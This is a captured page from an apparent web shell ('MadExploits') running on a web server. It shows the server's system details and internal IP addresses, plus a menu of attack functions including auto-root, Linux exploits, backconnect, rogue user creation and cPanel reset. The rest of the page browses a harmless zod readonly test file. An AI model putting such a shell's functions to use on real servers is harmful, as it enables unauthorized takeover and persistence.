Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
zod /
src /
v3 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
Mocker.ts
1.31
KB
-rw-r--r--
all-errors.test.ts
4.64
KB
-rw-r--r--
anyunknown.test.ts
673
B
-rw-r--r--
array.test.ts
1.89
KB
-rw-r--r--
async-parsing.test.ts
12.34
KB
-rw-r--r--
async-refinements.test.ts
1.57
KB
-rw-r--r--
base.test.ts
782
B
-rw-r--r--
bigint.test.ts
1.93
KB
-rw-r--r--
branded.test.ts
1.69
KB
-rw-r--r--
catch.test.ts
6.4
KB
-rw-r--r--
coerce.test.ts
6.49
KB
-rw-r--r--
complex.test.ts
1.87
KB
-rw-r--r--
custom.test.ts
950
B
-rw-r--r--
date.test.ts
983
B
-rw-r--r--
deepmasking.test.ts
5.09
KB
-rw-r--r--
default.test.ts
3.44
KB
-rw-r--r--
description.test.ts
1.29
KB
-rw-r--r--
discriminated-unions.test.ts
8.34
KB
-rw-r--r--
enum.test.ts
2.67
KB
-rw-r--r--
error.test.ts
16.42
KB
-rw-r--r--
firstparty.test.ts
2.33
KB
-rw-r--r--
firstpartyschematypes.test.ts
788
B
-rw-r--r--
function.test.ts
6.42
KB
-rw-r--r--
generics.test.ts
1.49
KB
-rw-r--r--
instanceof.test.ts
1.13
KB
-rw-r--r--
intersection.test.ts
3.02
KB
-rw-r--r--
language-server.source.ts
1.25
KB
-rw-r--r--
language-server.test.ts
8.12
KB
-rw-r--r--
literal.test.ts
1.04
KB
-rw-r--r--
map.test.ts
3.46
KB
-rw-r--r--
masking.test.ts
85
B
-rw-r--r--
mocker.test.ts
389
B
-rw-r--r--
nan.test.ts
587
B
-rw-r--r--
nativeEnum.test.ts
2.29
KB
-rw-r--r--
nullable.test.ts
1.14
KB
-rw-r--r--
number.test.ts
6.22
KB
-rw-r--r--
object-augmentation.test.ts
569
B
-rw-r--r--
object-in-es5-env.test.ts
778
B
-rw-r--r--
object.test.ts
11.5
KB
-rw-r--r--
optional.test.ts
1.19
KB
-rw-r--r--
parseUtil.test.ts
869
B
-rw-r--r--
parser.test.ts
1.1
KB
-rw-r--r--
partials.test.ts
6.83
KB
-rw-r--r--
pickomit.test.ts
3.54
KB
-rw-r--r--
pipeline.test.ts
823
B
-rw-r--r--
preprocess.test.ts
4.42
KB
-rw-r--r--
primitive.test.ts
11.93
KB
-rw-r--r--
promise.test.ts
2.43
KB
-rw-r--r--
readonly.test.ts
7.17
KB
-rw-r--r--
record.test.ts
3.65
KB
-rw-r--r--
recursive.test.ts
3.85
KB
-rw-r--r--
refine.test.ts
7.98
KB
-rw-r--r--
safeparse.test.ts
628
B
-rw-r--r--
set.test.ts
4.68
KB
-rw-r--r--
standard-schema.test.ts
2.53
KB
-rw-r--r--
string.test.ts
64.08
KB
-rw-r--r--
transformer.test.ts
5.55
KB
-rw-r--r--
tuple.test.ts
2.63
KB
-rw-r--r--
unions.test.ts
1.5
KB
-rw-r--r--
validations.test.ts
3.74
KB
-rw-r--r--
void.test.ts
349
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : readonly.test.ts
// @ts-ignore TS6133 import { expect, test } from "vitest"; import * as z from "zod/v3"; import { util } from "../helpers/util.js"; enum testEnum { A = 0, B = 1, } const schemas = [ z.string().readonly(), z.number().readonly(), z.nan().readonly(), z.bigint().readonly(), z.boolean().readonly(), z.date().readonly(), z.undefined().readonly(), z.null().readonly(), z.any().readonly(), z.unknown().readonly(), z.void().readonly(), z.function().args(z.string(), z.number()).readonly(), z.array(z.string()).readonly(), z.tuple([z.string(), z.number()]).readonly(), z.map(z.string(), z.date()).readonly(), z.set(z.promise(z.string())).readonly(), z.record(z.string()).readonly(), z.record(z.string(), z.number()).readonly(), z.object({ a: z.string(), 1: z.number() }).readonly(), z.nativeEnum(testEnum).readonly(), z.promise(z.string()).readonly(), ] as const; test("flat inference", () => { util.assertEqual<z.infer<(typeof schemas)[0]>, string>(true); util.assertEqual<z.infer<(typeof schemas)[1]>, number>(true); util.assertEqual<z.infer<(typeof schemas)[2]>, number>(true); util.assertEqual<z.infer<(typeof schemas)[3]>, bigint>(true); util.assertEqual<z.infer<(typeof schemas)[4]>, boolean>(true); util.assertEqual<z.infer<(typeof schemas)[5]>, Date>(true); util.assertEqual<z.infer<(typeof schemas)[6]>, undefined>(true); util.assertEqual<z.infer<(typeof schemas)[7]>, null>(true); util.assertEqual<z.infer<(typeof schemas)[8]>, any>(true); util.assertEqual<z.infer<(typeof schemas)[9]>, Readonly<unknown>>(true); util.assertEqual<z.infer<(typeof schemas)[10]>, void>(true); util.assertEqual<z.infer<(typeof schemas)[11]>, (args_0: string, args_1: number, ...args_2: unknown[]) => unknown>( true ); util.assertEqual<z.infer<(typeof schemas)[12]>, readonly string[]>(true); util.assertEqual<z.infer<(typeof schemas)[13]>, readonly [string, number]>(true); util.assertEqual<z.infer<(typeof schemas)[14]>, ReadonlyMap<string, Date>>(true); util.assertEqual<z.infer<(typeof schemas)[15]>, ReadonlySet<Promise<string>>>(true); util.assertEqual<z.infer<(typeof schemas)[16]>, Readonly<Record<string, string>>>(true); util.assertEqual<z.infer<(typeof schemas)[17]>, Readonly<Record<string, number>>>(true); util.assertEqual<z.infer<(typeof schemas)[18]>, { readonly a: string; readonly 1: number }>(true); util.assertEqual<z.infer<(typeof schemas)[19]>, Readonly<testEnum>>(true); util.assertEqual<z.infer<(typeof schemas)[20]>, Promise<string>>(true); }); // test("deep inference", () => { // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[0]>, string>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[1]>, number>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[2]>, number>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[3]>, bigint>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[4]>, boolean>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[5]>, Date>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[6]>, undefined>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[7]>, null>(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[8]>, any>(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[9]>, // Readonly<unknown> // >(true); // util.assertEqual<z.infer<(typeof deepReadonlySchemas_0)[10]>, void>(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[11]>, // (args_0: string, args_1: number, ...args_2: unknown[]) => unknown // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[12]>, // readonly string[] // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[13]>, // readonly [string, number] // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[14]>, // ReadonlyMap<string, Date> // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[15]>, // ReadonlySet<Promise<string>> // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[16]>, // Readonly<Record<string, string>> // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[17]>, // Readonly<Record<string, number>> // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[18]>, // { readonly a: string; readonly 1: number } // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[19]>, // Readonly<testEnum> // >(true); // util.assertEqual< // z.infer<(typeof deepReadonlySchemas_0)[20]>, // Promise<string> // >(true); // util.assertEqual< // z.infer<typeof crazyDeepReadonlySchema>, // ReadonlyMap< // ReadonlySet<readonly [string, number]>, // { // readonly a: { // readonly [x: string]: readonly any[]; // }; // readonly b: { // readonly c: { // readonly d: { // readonly e: { // readonly f: { // readonly g?: {}; // }; // }; // }; // }; // }; // } // > // >(true); // }); test("object freezing", () => { expect(Object.isFrozen(z.array(z.string()).readonly().parse(["a"]))).toBe(true); expect(Object.isFrozen(z.tuple([z.string(), z.number()]).readonly().parse(["a", 1]))).toBe(true); expect( Object.isFrozen( z .map(z.string(), z.date()) .readonly() .parse(new Map([["a", new Date()]])) ) ).toBe(true); expect( Object.isFrozen( z .set(z.promise(z.string())) .readonly() .parse(new Set([Promise.resolve("a")])) ) ).toBe(true); expect(Object.isFrozen(z.record(z.string()).readonly().parse({ a: "b" }))).toBe(true); expect(Object.isFrozen(z.record(z.string(), z.number()).readonly().parse({ a: 1 }))).toBe(true); expect(Object.isFrozen(z.object({ a: z.string(), 1: z.number() }).readonly().parse({ a: "b", 1: 2 }))).toBe(true); expect(Object.isFrozen(z.promise(z.string()).readonly().parse(Promise.resolve("a")))).toBe(true); }); test("async object freezing", async () => { expect(Object.isFrozen(await z.array(z.string()).readonly().parseAsync(["a"]))).toBe(true); expect(Object.isFrozen(await z.tuple([z.string(), z.number()]).readonly().parseAsync(["a", 1]))).toBe(true); expect( Object.isFrozen( await z .map(z.string(), z.date()) .readonly() .parseAsync(new Map([["a", new Date()]])) ) ).toBe(true); expect( Object.isFrozen( await z .set(z.promise(z.string())) .readonly() .parseAsync(new Set([Promise.resolve("a")])) ) ).toBe(true); expect(Object.isFrozen(await z.record(z.string()).readonly().parseAsync({ a: "b" }))).toBe(true); expect(Object.isFrozen(await z.record(z.string(), z.number()).readonly().parseAsync({ a: 1 }))).toBe(true); expect( Object.isFrozen(await z.object({ a: z.string(), 1: z.number() }).readonly().parseAsync({ a: "b", 1: 2 })) ).toBe(true); expect(Object.isFrozen(await z.promise(z.string()).readonly().parseAsync(Promise.resolve("a")))).toBe(true); });
Close